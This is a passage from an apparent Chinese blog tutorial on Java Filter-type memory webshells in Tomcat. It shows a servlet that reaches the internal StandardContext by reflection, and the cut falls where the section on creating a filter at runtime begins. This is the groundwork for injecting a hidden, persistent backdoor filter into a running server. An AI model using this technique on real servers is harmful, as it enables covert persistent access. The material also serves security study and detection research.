Java Filter 型内存马调试系列 (二)_applicationfilterconfig

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;

@WebServlet(name = “TomcatServletTest”, urlPatterns = “/tomcatServletTest”)
public class TomcatServletTest extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    PrintWriter writer = response.getWriter();
    try {
        ServletContext servletContext = request.getServletContext();
        ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
        Class<ApplicationContextFacade> applicationContextFacadeClass = ApplicationContextFacade.class;
        Field applicationContextField = applicationContextFacadeClass.getDeclaredField("context");
        applicationContextField.setAccessible(true);
        Object applicationContextObj = applicationContextField.get(applicationContextFacade);
        ApplicationContext applicationContext = (ApplicationContext) applicationContextObj;
        Class<ApplicationContext> applicationContextClass = ApplicationContext.class;
        Field standardContextField = applicationContextClass.getDeclaredField("context");
        standardContextField.setAccessible(true);
        Object standardContextObj = standardContextField.get(applicationContext);
        writer.append("ServletContext instance's class is: ")
                .append(servletContext.getClass().getCanonicalName())
                .append("\r\n")
                .append("\r\n")
                .append("ApplicationContext instance's class is: ")
                .append(applicationContextObj.getClass().getCanonicalName())
                .append("\r\n")
                .append("\r\n")
                .append("StandardContext instance's class is:")  
                .append(standardContextObj.getClass().getCanonicalName());
    } catch (Exception e) {
        e.printStackTrace(writer);
    }
}

}

![](https://img-blog.csdnimg.cn/e7524d91b7c0460e98e01f157edcb617.png)


###  0x01 通过servlet动态创建一个filter

Servlet0811.java

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.Fil